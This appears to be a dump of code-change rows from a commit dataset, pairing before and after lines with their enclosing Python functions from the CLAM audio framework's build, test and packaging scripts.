print "networkfile: ",networkfile | print "// File generated by %s from CLAM network '%s' "%(sys.argv[0], networkfile) | def setupCode(self) : return self._result |
nameClass = networkfile.partition(".clamnetwork")[0] nameClass = "SetupNetwork_"+nameClass.rpartition("/")[2] | if len(sys.argv)>2 : nameClass = "NetworkDefinition_"+sys.argv[2] else : nameClass = "NetworkDefinition_"+os.path.splitext(os.path.basename(networkfile))[0] | def setupCode(self) : return self._result |
LoadConfig(*_myid_config, | loadConfig(*_myid_config, | def test_processing(self) : n = NetworkHandler() xml = """\ |
LoadConfig(*_myid_config, | loadConfig(*_myid_config, | def test_processing_withConfigParameters(self) : n = NetworkHandler() xml = """\ |
LoadConfig(*_myid_config, | loadConfig(*_myid_config, | def test_processingConfig_withEscaping(self) : n = NetworkHandler() xml = """\ |
void LoadConfig(ProcessingConfig & config, const std::string & xmlContent) | void loadConfig(ProcessingConfig & config, const std::string & xmlContent) | def test_classGenerated(self) : network = NetworkHandler() saxparser = xml.sax.make_parser() saxparser.setContentHandler(network) |
void LoadConfig(ProcessingConfig & config, const std::string & xmlContent) | void loadConfig(ProcessingConfig & config, const std::string & xmlContent) | def test_classGeneratedUsingSpecificName(self) : network = NetworkHandler() saxparser = xml.sax.make_parser() saxparser.setContentHandler(network) |
clam.add_subtask('Check Clam Networks Recursively that are inside the NetworkEditor', [ 'cd %(sandbox)s/clam/CLAM/scripts'%localDefinitions, {CMD: './check_clam_networks_recursively.py %(sandbox)s/clam/NetworkEditor'%localDefinitions }, ] ) clam.add_subtask('Check Clam Networks Recursively that are inside the clam/CLA... | clam.add_subtask('Check Clam Networks Recursively that are inside the clam/CLAM/plugins/continuousExcitationSynthesizer', [ 'cd %(sandbox)s/clam/CLAM/scripts'%localDefinitions, {CMD: './check_clam_networks_recursively.py -b %(sandbox)s/clam/CLAM/plugins/continuousExcitationSynthesizer/'%localDefinitions }, ] ) clam.ad... | def ellapsedTime(): global startTime return time.time() - startTime |
env['QT4_UICDECLPREFIX'] = os.path.join(subfolder,'uic_') | env['QT4_UICDECLPREFIX'] = os.path.join(subfolder,'ui_') | def moveIntermediateInto(env, subfolder) : env['SHOBJPREFIX'] = os.path.join(subfolder,'') env['OBJPREFIX'] = os.path.join(subfolder,'') env['QT4_MOCHPREFIX'] = os.path.join(subfolder,'moc_') env['QT4_UICDECLPREFIX'] = os.path.join(subfolder,'uic_') env['QT4_QRCCXXPREFIX'] = os.path.join(subfolder,'qr... |
sys.stdout.write("\033[33m%s\033[0m\n"%commandline) | sys.stdout.write("\033[32;1m%s\033[0m\n"%commandline) | def print_cmd_line(commandline, target, source, env) : sys.stdout.write("\033[33m%s\033[0m\n"%commandline) sys.stdout.flush() |
] | def ellapsedTime(): global startTime return time.time() - startTime | |
""" | def ellapsedTime(): global startTime return time.time() - startTime | |
equals = diff_files(sys.argv[1], sys.argv[2]) | equals = diff_files(*sys.argv[1:]) | def extract(content, start, stop) : return content[content.find(start)+len(start):].split(stop)[0] |
print "files substraction with sox failed. They might not be comparable: (different lenght or sample-rate: %s %s)" % (expected, result) | print "files substraction with soxsucks failed. They might not be comparable: (different lenght or sample-rate: %s %s)" % (expected, result) | def diff_files_wav(expected, result, diffbase) : diffwav = diffbase+'.wav' substractResult = silentrun('soxsucks --compare %f %s %s 2>&1 && echo OK '%(threshold_amplitude, expected, result)) if 'OK' in substractResult : return None substractResult= [line for line in substractResult.split("\n") if line.find("there is a ... |
tarballName = "%(name)s-%(version)s.tar.gz", downloadUri = "http://zlib.net//%(tarball)s", | , tarballName = "%(name)s-%(version)s.tar.gz", downloadUri = "http://www.bzip.org/%(version)s/%(tarball)s", | def buildAll() : for name in packageOrder : build(name) |
""" install -m664 '$(1)/libbz2.a' '%(prefix)s/lib/' && """ """ install -d '%(prefix)s/include' && """ """ install -m664 '$(1)/bzlib.h' '%(prefix)s/include/' && """ | def buildAll() : for name in packageOrder : build(name) | |
""" ./configure --prefix='%(prefix)s' """ """ && """ | def buildAll() : for name in packageOrder : build(name) | |
""" make install """ | """ prefix='%(prefix)s' """ """ PREFIX='%(target)s-' """ """ BINARY_PATH='%(prefix)s/bin' """ """ INCLUDE_PATH='%(prefix)s/include' """ """ LIBRARY_PATH='%(prefix)s/lib' """ """ SHARED_MODE=1 """ """ && """ """ cp zlib.pc %(prefix)s/lib/pkgconfig/ && """ """ echo Package %(name)s done.""" | def buildAll() : for name in packageOrder : build(name) |
clam.add_subtask('Check Clam Networks Recursively that are inside the plugins/continuousExcitationSynthesizer', [ | clam.add_subtask('Check Clam Networks Recursively that are inside the clam/CLAM/plugins', [ | def ellapsedTime(): global startTime return time.time() - startTime |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.